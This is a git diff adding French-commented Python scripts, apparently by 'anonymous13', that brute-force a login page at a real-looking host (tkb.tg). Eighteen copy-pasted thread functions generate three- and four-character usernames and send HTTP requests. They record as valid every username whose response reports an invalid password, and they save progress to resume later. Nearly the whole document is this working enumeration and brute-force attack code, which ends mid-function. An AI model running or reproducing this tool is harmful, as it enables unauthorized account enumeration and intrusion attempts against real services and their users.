rec=12 + y,z,u=0,0,last + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]+lettre[u]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + t2=time.time() + t4=int(((t2-t1)*(36**4))//60) + t3=int((1/(t2-t1))*19) + if "invalid password" in str(r.read()): + print("login et password trouver : {},{}".format(user,user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") +def crack8(): + rec=14 + x,y,z,u=0,0,0,last + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]+lettre[u]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + t2=time.time() + t4=int(((t2-t1)*(36**4))//60) + t3=int((1/(t2-t1))*19) + if "invalid password" in str(r.read()): + print("login et password trouver : {},{}".format(user,user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") +def crack9(): + rec=16 + x,y,z,u=0,0,0,last + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]+lettre[u]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + t2=time.time() + t4=int(((t2-t1)*(36**4))//60) + t3=int((1/(t2-t1))*19) + if "invalid password" in str(r.read()): + print("login et password trouver : {},{}".format(user,user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") +def crack10(): + rec=18 + x,y,z,u=0,0,0,last + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]+lettre[u]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + t2=time.time() + t4=int(((t2-t1)*(36**4))//60) + t3=int((1/(t2-t1))*19) + if "invalid password" in str(r.read()): + print("login et password trouver : {},{}".format(user,user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") +def crack11(): + rec=20 + x,y,z,u=0,0,0,last + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]+lettre[u]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + t2=time.time() + t4=int(((t2-t1)*(36**4))//60) + t3=int((1/(t2-t1))*19) + if "invalid password" in str(r.read()): + print("login et password trouver : {},{}".format(user,user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") +def crack12(): + rec=22 + x,y,z,u=0,0,0,last + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]+lettre[u]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + t2=time.time() + t4=int(((t2-t1)*(36**4))//60) + t3=int((1/(t2-t1))*19) + if "invalid password" in str(r.read()): + print("login et password trouver : {},{}".format(user,user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") +def crack13(): + rec=24 + x,y,z,u=0,0,0,last + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]+lettre[u]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + t2=time.time() + t4=int(((t2-t1)*(36**4))//60) + t3=int((1/(t2-t1))*19) + if "invalid password" in str(r.read()): + print("login et password trouver : {},{}".format(user,user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") +def crack14(): + rec=26 + x,y,z,u=0,0,0,last + if 26<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]+lettre[u]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + t2=time.time() + t4=int(((t2-t1)*(36**4))//60) + t3=int((1/(t2-t1))*19) + if "invalid password" in str(r.read()): + print("login et password trouver : {},{}".format(user,user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") +def crack15(): + rec=28 + x,y,z,u=0,0,0,last + if 26<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]+lettre[u]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + t2=time.time() + t4=int(((t2-t1)*(36**4))//60) + t3=int((1/(t2-t1))*19) + if "invalid password" in str(r.read()): + print("login et password trouver : {},{}".format(user,user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") +def crack16(): + rec=30 + x,y,z,u=0,0,0,last + if 26<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]+lettre[u]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + t2=time.time() + t4=int(((t2-t1)*(36**4))//60) + t3=int((1/(t2-t1))*19) + if "invalid password" in str(r.read()): + print("login et password trouver : {},{}".format(user,user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") +def crack17(): + rec=32 + x,y,z,u=0,0,0,last + if 26<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]+lettre[u]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + t2=time.time() + t4=int(((t2-t1)*(36**4))//60) + t3=int((1/(t2-t1))*19) + if "invalid password" in str(r.read()): + print("login et password trouver : {},{}".format(user,user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") +def crack18(): + rec=34 + x,y,z,u=0,0,0,last + if 26<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]+lettre[u]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + t2=time.time() + t4=int(((t2-t1)*(36**4))//60) + t3=int((1/(t2-t1))*19) + if "invalid password" in str(r.read()): + print("login et password trouver : {},{}".format(user,user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") + +# 18 thread ecrit en spagettti , ainsi multiplier par 18 la vitesse du moteur +t1=threading.Thread(target=crack) +t2=threading.Thread(target=crack2) +t3=threading.Thread(target=crack3) +t4=threading.Thread(target=crack4) +t5=threading.Thread(target=crack5) +t6=threading.Thread(target=crack6) +t7=threading.Thread(target=crack7) +t8=threading.Thread(target=crack8) +t9=threading.Thread(target=crack9) +t10=threading.Thread(target=crack10) +t11=threading.Thread(target=crack11) +t12=threading.Thread(target=crack12) +t13=threading.Thread(target=crack13) +t14=threading.Thread(target=crack9) +t15=threading.Thread(target=crack10) +t16=threading.Thread(target=crack11) +t17=threading.Thread(target=crack12) +t18=threading.Thread(target=crack13) +t1.start() +t2.start() +t3.start() +t4.start() +t5.start() +t6.start() +t7.start() +t8.start() +t9.start() +t10.start() +t11.start() +t12.start() +t13.start() +t14.start() +t15.start() +t16.start() +t17.start() +t18.start() +t1.join() +t2.join() +t3.join() +t4.join() +t5.join() +t6.join() +t7.join() +t8.join() +t9.join() +t10.join() +t11.join() +t12.join() +t13.join() +t14.join() +t15.join() +t16.join() +t17.join() +t18.join() + +print("fermeture du moteur ,bye ") +time.sleep(2) +# code source ecrit par anonymous13 diff --git a/crack3/crack2.py b/crack3/crack2.py new file mode 100644 index 0000000..59ecb73 --- /dev/null +++ b/crack3/crack2.py @@ -0,0 +1,1165 @@ +# modules necessaires + +import urllib.request as rq +import time +import threading +global last +print(" \t\t DEMARRAGE DU MOTEUR ... \n\n") +time.sleep(1) +try: + file=open("recov.ck",'r') + recov=file.read() + file.close() + last=int(recov) + print('chargement de la derniere session ...\n\n') + time.sleep(1) +except FileNotFoundError: + print("creation d'une nouvel session ... \n\n") + last=0 + time.sleep(1) +global lettre,long,bou,repo5,num,long2,long3 +lettre=['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','v','w','u','x','y','z','0','1','2','3','4','5','6','7','8','9',''] +long=36 +bou=1 +repo5=4 +num=3 +long2=0 +long3=0 +# code spagetti enfin fonction X18 pour les thread +def crack(): + # initialisation des variables a utiliser + rec=1 + x,y,z,u=0,0,last,0 + # algo pour traiter les decalage + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + # coeur du moteur... va permettre la generation ordonner des logins + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + file2=open('recov.ck','w') + file2.write(str(u)) + file2.close() + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + # envoye ; reception ; et traitement automatique des requetes HTTP + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + # algo pour calculer le debit du bruteforce + t2=time.time() + t4=int(((t2-t1)*(36**3))//60) + t3=int((1/(t2-t1))*18) + # les logins corrects seront automatiquement ecrit dans un fichier nommer login_found.txt + if "invalid password" in str(r.read()): + print("login et password trouver : {},{}".format(user,user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") +def crack2(): + rec=2 + x,y,z,u=0,0,0,last + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + t2=time.time() + t4=int(((t2-t1)*(36**3))//60) + t4=int(((t2-t1)*(36**3))//60) + t3=int((1/(t2-t1))*18) + if "invalid password" in str(r.read()): + print("login et password trouver : {},{}".format(user,user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") +def crack3(): + rec=4 + x,y,z,u=0,0,0,last + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + t2=time.time() + t4=int(((t2-t1)*(36**3))//60) + t3=int((1/(t2-t1))*18) + + if "invalid password" in str(r.read()): + print("login et password trouver : {},{}".format(user,user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") +def crack4(): + rec=6 + x,y,z,u=0,0,0,last + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + t2=time.time() + t4=int(((t2-t1)*(36**3))//60) + t3=int((1/(t2-t1))*18) + if "invalid password" in str(r.read()): + print("login et password trouver : {},{}".format(user,user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") +def crack5(): + rec=8 + x,y,z,u=0,0,0,last + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + t2=time.time() + t4=int(((t2-t1)*(36**3))//60) + t3=int((1/(t2-t1))*18) + if "invalid password" in str(r.read()): + print("login et password trouver : {},{}".format(user,user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") +def crack6(): + rec=10 + x,y,z,u=0,0,0,last + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + t2=time.time() + t4=int(((t2-t1)*(36**3))//60) + t3=int((1/(t2-t1))*18) + if "invalid password" in str(r.read()): + print("login et password trouver : {},{}".format(user,user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") +def crack7(): + rec=12 + y,z,u=0,0,last + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + t2=time.time() + t4=int(((t2-t1)*(36**3))//60) + t3=int((1/(t2-t1))*18) + if "invalid password" in str(r.read()): + print("login et password trouver : {},{}".format(user,user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") +def crack8(): + rec=14 + x,y,z,u=0,0,0,last + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + t2=time.time() + t4=int(((t2-t1)*(36**3))//60) + t3=int((1/(t2-t1))*18) + if "invalid password" in str(r.read()): + print("login et password trouver : {},{}".format(user,user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") +def crack9(): + rec=16 + x,y,z,u=0,0,0,last + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + t2=time.time() + t4=int(((t2-t1)*(36**3))//60) + t3=int((1/(t2-t1))*18) + if "invalid password" in str(r.read()): + print("login et password trouver : {},{}".format(user,user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") +def crack10(): + rec=18 + x,y,z,u=0,0,0,last + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + t2=time.time() + t4=int(((t2-t1)*(36**3))//60) + t3=int((1/(t2-t1))*18) + if "invalid password" in str(r.read()): + print("login et password trouver : {},{}".format(user,user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") +def crack11(): + rec=20 + x,y,z,u=0,0,0,last + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + t2=time.time() + t4=int(((t2-t1)*(36**3))//60) + t3=int((1/(t2-t1))*18) + if "invalid password" in str(r.read()): + print("login et password trouver : {},{}".format(user,user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") +def crack12(): + rec=22 + x,y,z,u=0,0,0,last + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + t2=time.time() + t4=int(((t2-t1)*(36**3))//60) + t3=int((1/(t2-t1))*18) + if "invalid password" in str(r.read()): + print("login et password trouver : {},{}".format(user,user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") +def crack13(): + rec=24 + x,y,z,u=0,0,0,last + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + t2=time.time() + t4=int(((t2-t1)*(36**3))//60) + t3=int((1/(t2-t1))*18) + if "invalid password" in str(r.read()): + print("login et password trouver : {},{}".format(user,user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") +def crack14(): + rec=26 + x,y,z,u=0,0,0,last + if 26<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + t2=time.time() + t4=int(((t2-t1)*(36**3))//60) + t3=int((1/(t2-t1))*18) + if "invalid password" in str(r.read()): + print("login et password trouver : {},{}".format(user,user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") +def crack15(): + rec=28 + x,y,z,u=0,0,0,last + if 26<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() 